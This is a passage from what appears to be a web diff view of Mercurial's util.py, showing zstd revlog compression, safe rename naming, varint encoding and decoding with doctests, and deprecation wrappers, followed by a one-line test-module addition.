4108 | def decompressorreader(self, fh): |
|
|||
4109 | zstd = self._module |
|
|||
4110 | dctx = zstd.ZstdDecompressor() |
|
|||
4111 | return chunkbuffer(dctx.read_from(fh)) |
|
|||
4112 |
|
||||
4113 | class zstdrevlogcompressor(object): |
|
|||
4114 | def __init__(self, zstd, level=3): |
|
|||
4115 | # Writing the content size adds a few bytes to the output. However, |
|
|||
4116 | # it allows decompression to be more optimal since we can |
|
|||
4117 | # pre-allocate a buffer to hold the result. |
|
|||
4118 | self._cctx = zstd.ZstdCompressor(level=level, |
|
|||
4119 | write_content_size=True) |
|
|||
4120 | self._dctx = zstd.ZstdDecompressor() |
|
|||
4121 | self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE |
|
|||
4122 | self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE |
|
|||
4123 |
|
||||
4124 | def compress(self, data): |
|
|||
4125 | insize = len(data) |
|
|||
4126 | # Caller handles empty input case. |
|
|||
4127 | assert insize > 0 |
|
|||
4128 |
|
||||
4129 | if insize < 50: |
|
|||
4130 | return None |
|
|||
4131 |
|
||||
4132 | elif insize <= 1000000: |
|
|||
4133 | compressed = self._cctx.compress(data) |
|
|||
4134 | if len(compressed) < insize: |
|
|||
4135 | return compressed |
|
|||
4136 | return None |
|
|||
4137 | else: |
|
|||
4138 | z = self._cctx.compressobj() |
|
|||
4139 | chunks = [] |
|
|||
4140 | pos = 0 |
|
|||
4141 | while pos < insize: |
|
|||
4142 | pos2 = pos + self._compinsize |
|
|||
4143 | chunk = z.compress(data[pos:pos2]) |
|
|||
4144 | if chunk: |
|
|||
4145 | chunks.append(chunk) |
|
|||
4146 | pos = pos2 |
|
|||
4147 | chunks.append(z.flush()) |
|
|||
4148 |
|
||||
4149 | if sum(map(len, chunks)) < insize: |
|
|||
4150 | return ''.join(chunks) |
|
|||
4151 | return None |
|
|||
4152 |
|
||||
4153 | def decompress(self, data): |
|
|||
4154 | insize = len(data) |
|
|||
4155 |
|
||||
4156 | try: |
|
|||
4157 | # This was measured to be faster than other streaming |
|
|||
4158 | # decompressors. |
|
|||
4159 | dobj = self._dctx.decompressobj() |
|
|||
4160 | chunks = [] |
|
|||
4161 | pos = 0 |
|
|||
4162 | while pos < insize: |
|
|||
4163 | pos2 = pos + self._decompinsize |
|
|||
4164 | chunk = dobj.decompress(data[pos:pos2]) |
|
|||
4165 | if chunk: |
|
|||
4166 | chunks.append(chunk) |
|
|||
4167 | pos = pos2 |
|
|||
4168 | # Frame should be exhausted, so no finish() API. |
|
|||
4169 |
|
||||
4170 | return ''.join(chunks) |
|
|||
4171 | except Exception as e: |
|
|||
4172 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
|||
4173 | forcebytestr(e)) |
|
|||
4174 |
|
||||
4175 | def revlogcompressor(self, opts=None): |
|
|||
4176 | opts = opts or {} |
|
|||
4177 | return self.zstdrevlogcompressor(self._module, |
|
|||
4178 | level=opts.get('level', 3)) |
|
|||
4179 |
|
||||
4180 | compengines.register(_zstdengine()) |
|
|||
4181 |
|
||||
4182 | def bundlecompressiontopics(): |
|
|||
4183 | """Obtains a list of available bundle compressions for use in help.""" |
|
|||
4184 | # help.makeitemsdocs() expects a dict of names to items with a .__doc__. |
|
|||
4185 | items = {} |
|
|||
4186 |
|
||||
4187 | # We need to format the docstring. So use a dummy object/type to hold it |
|
|||
4188 | # rather than mutating the original. |
|
|||
4189 | class docobject(object): |
|
|||
4190 | pass |
|
|||
4191 |
|
||||
4192 | for name in compengines: |
|
|||
4193 | engine = compengines[name] |
|
|||
4194 |
|
||||
4195 | if not engine.available(): |
|
|||
4196 | continue |
|
|||
4197 |
|
||||
4198 | bt = engine.bundletype() |
|
|||
4199 | if not bt or not bt[0]: |
|
|||
4200 | continue |
|
|||
4201 |
|
||||
4202 | doc = pycompat.sysstr('``%s``\n %s') % ( |
|
|||
4203 | bt[0], engine.bundletype.__doc__) |
|
|||
4204 |
|
||||
4205 | value = docobject() |
|
|||
4206 | value.__doc__ = doc |
|
|||
4207 | value._origdoc = engine.bundletype.__doc__ |
|
|||
4208 | value._origfunc = engine.bundletype |
|
|||
4209 |
|
||||
4210 | items[bt[0]] = value |
|
|||
4211 |
|
||||
4212 | return items |
|
|||
4213 |
|
||||
4214 | i18nfunctions = bundlecompressiontopics().values() |
|
|||
4215 |
|
||||
4216 | # convenient shortcut |
|
|||
4217 | dst = debugstacktrace |
|
|||
4218 |
|
||||
4219 | def safename(f, tag, ctx, others=None): |
|
|||
4220 | """ |
|
|||
4221 | Generate a name that it is safe to rename f to in the given context. |
|
|||
4222 |
|
||||
4223 | f: filename to rename |
|
|||
4224 | tag: a string tag that will be included in the new name |
|
|||
4225 | ctx: a context, in which the new name must not exist |
|
|||
4226 | others: a set of other filenames that the new name must not be in |
|
|||
4227 |
|
||||
4228 | Returns a file name of the form oldname~tag[~number] which does not exist |
|
|||
4229 | in the provided context and is not in the set of other names. |
|
|||
4230 | """ |
|
|||
4231 | if others is None: |
|
|||
4232 | others = set() |
|
|||
4233 |
|
||||
4234 | fn = '%s~%s' % (f, tag) |
|
|||
4235 | if fn not in ctx and fn not in others: |
|
|||
4236 | return fn |
|
|||
4237 | for n in itertools.count(1): |
|
|||
4238 | fn = '%s~%s~%s' % (f, tag, n) |
|
|||
4239 | if fn not in ctx and fn not in others: |
|
|||
4240 | return fn |
|
|||
4241 |
|
||||
4242 | def readexactly(stream, n): |
|
|||
4243 | '''read n bytes from stream.read and abort if less was available''' |
|
|||
4244 | s = stream.read(n) |
|
|||
4245 | if len(s) < n: |
|
|||
4246 | raise error.Abort(_("stream ended unexpectedly" |
|
|||
4247 | " (got %d bytes, expected %d)") |
|
|||
4248 | % (len(s), n)) |
|
|||
4249 | return s |
|
|||
4250 |
|
||||
4251 | def uvarintencode(value): |
|
|||
4252 | """Encode an unsigned integer value to a varint. |
|
|||
4253 |
|
||||
4254 | A varint is a variable length integer of 1 or more bytes. Each byte |
|
|||
4255 | except the last has the most significant bit set. The lower 7 bits of |
|
|||
4256 | each byte store the 2's complement representation, least significant group |
|
|||
4257 | first. |
|
|||
4258 |
|
||||
4259 | >>> uvarintencode(0) |
|
|||
4260 | '\\x00' |
|
|||
4261 | >>> uvarintencode(1) |
|
|||
4262 | '\\x01' |
|
|||
4263 | >>> uvarintencode(127) |
|
|||
4264 | '\\x7f' |
|
|||
4265 | >>> uvarintencode(1337) |
|
|||
4266 | '\\xb9\\n' |
|
|||
4267 | >>> uvarintencode(65536) |
|
|||
4268 | '\\x80\\x80\\x04' |
|
|||
4269 | >>> uvarintencode(-1) |
|
|||
4270 | Traceback (most recent call last): |
|
|||
4271 | ... |
|
|||
4272 | ProgrammingError: negative value for uvarint: -1 |
|
|||
4273 | """ |
|
|||
4274 | if value < 0: |
|
|||
4275 | raise error.ProgrammingError('negative value for uvarint: %d' |
|
|||
4276 | % value) |
|
|||
4277 | bits = value & 0x7f |
|
|||
4278 | value >>= 7 |
|
|||
4279 | bytes = [] |
|
|||
4280 | while value: |
|
|||
4281 | bytes.append(pycompat.bytechr(0x80 | bits)) |
|
|||
4282 | bits = value & 0x7f |
|
|||
4283 | value >>= 7 |
|
|||
4284 | bytes.append(pycompat.bytechr(bits)) |
|
|||
4285 |
|
||||
4286 | return ''.join(bytes) |
|
|||
4287 |
|
||||
4288 | def uvarintdecodestream(fh): |
|
|||
4289 | """Decode an unsigned variable length integer from a stream. |
|
|||
4290 |
|
||||
4291 | The passed argument is anything that has a ``.read(N)`` method. |
|
|||
4292 |
|
||||
4293 | >>> try: |
|
|||
4294 | ... from StringIO import StringIO as BytesIO |
|
|||
4295 | ... except ImportError: |
|
|||
4296 | ... from io import BytesIO |
|
|||
4297 | >>> uvarintdecodestream(BytesIO(b'\\x00')) |
|
|||
4298 | 0 |
|
|||
4299 | >>> uvarintdecodestream(BytesIO(b'\\x01')) |
|
|||
4300 | 1 |
|
|||
4301 | >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
|
|||
4302 | 127 |
|
|||
4303 | >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
|
|||
4304 | 1337 |
|
|||
4305 | >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
|
|||
4306 | 65536 |
|
|||
4307 | >>> uvarintdecodestream(BytesIO(b'\\x80')) |
|
|||
4308 | Traceback (most recent call last): |
|
|||
4309 | ... |
|
|||
4310 | Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
|
|||
4311 | """ |
|
|||
4312 | result = 0 |
|
|||
4313 | shift = 0 |
|
|||
4314 | while True: |
|
|||
4315 | byte = ord(readexactly(fh, 1)) |
|
|||
4316 | result |= ((byte & 0x7f) << shift) |
|
|||
4317 | if not (byte & 0x80): |
|
|||
4318 | return result |
|
|||
4319 | shift += 7 |
|
|||
4320 |
|
||||
4321 | ### |
|
|||
4322 | # Deprecation warnings for util.py splitting |
|
|||
4323 | ### |
|
|||
4324 |
|
||||
4325 | def _deprecatedfunc(func, version): |
|
|||
4326 | def wrapped(*args, **kwargs): |
|
|||
4327 | fn = pycompat.sysbytes(func.__name__) |
|
|||
4328 | mn = pycompat.sysbytes(func.__module__)[len('mercurial.'):] |
|
|||
4329 | msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn) |
|
|||
4330 | nouideprecwarn(msg, version) |
|
|||
4331 | return func(*args, **kwargs) |
|
|||
4332 | wrapped.__name__ = func.__name__ |
|
|||
4333 | return wrapped |
|
|||
4334 |
|
||||
4335 | defaultdateformats = dateutil.defaultdateformats |
|
|||
4336 | extendeddateformats = dateutil.extendeddateformats |
|
|||
4337 | makedate = _deprecatedfunc(dateutil.makedate, '4.6') |
|
|||
4338 | datestr = _deprecatedfunc(dateutil.datestr, '4.6') |
|
|||
4339 | shortdate = _deprecatedfunc(dateutil.shortdate, '4.6') |
|
|||
4340 | parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6') |
|
|||
4341 | strdate = _deprecatedfunc(dateutil.strdate, '4.6') |
|
|||
4342 | parsedate = _deprecatedfunc(dateutil.parsedate, '4.6') |
|
|||
4343 | matchdate = _deprecatedfunc(dateutil.matchdate, '4.6') |
|
@@ -70,6 +70,7 b" testmod('mercurial.ui')" | |||||
70 | testmod('mercurial.url') |
|
70 | testmod('mercurial.url') | |
71 | testmod('mercurial.util') |
|
71 | testmod('mercurial.util') | |
72 | testmod('mercurial.util', testtarget='platform') |
|
72 | testmod('mercurial.util', testtarget='platform') | |
|
73 | testmod('mercurial.utils.stringutil') | |||
73 | testmod('hgext.convert.convcmd') |
|
74 | testmod('hgext.convert.convcmd') | |
74 | testmod('hgext.convert.cvsps') |
|
75 | testmod('hgext.convert.cvsps') | |
75 | testmod('hgext.convert.filemap') |
|
76 | testmod('hgext.convert.filemap') |
General Comments 0
You need to be logged in to leave comments.
Login now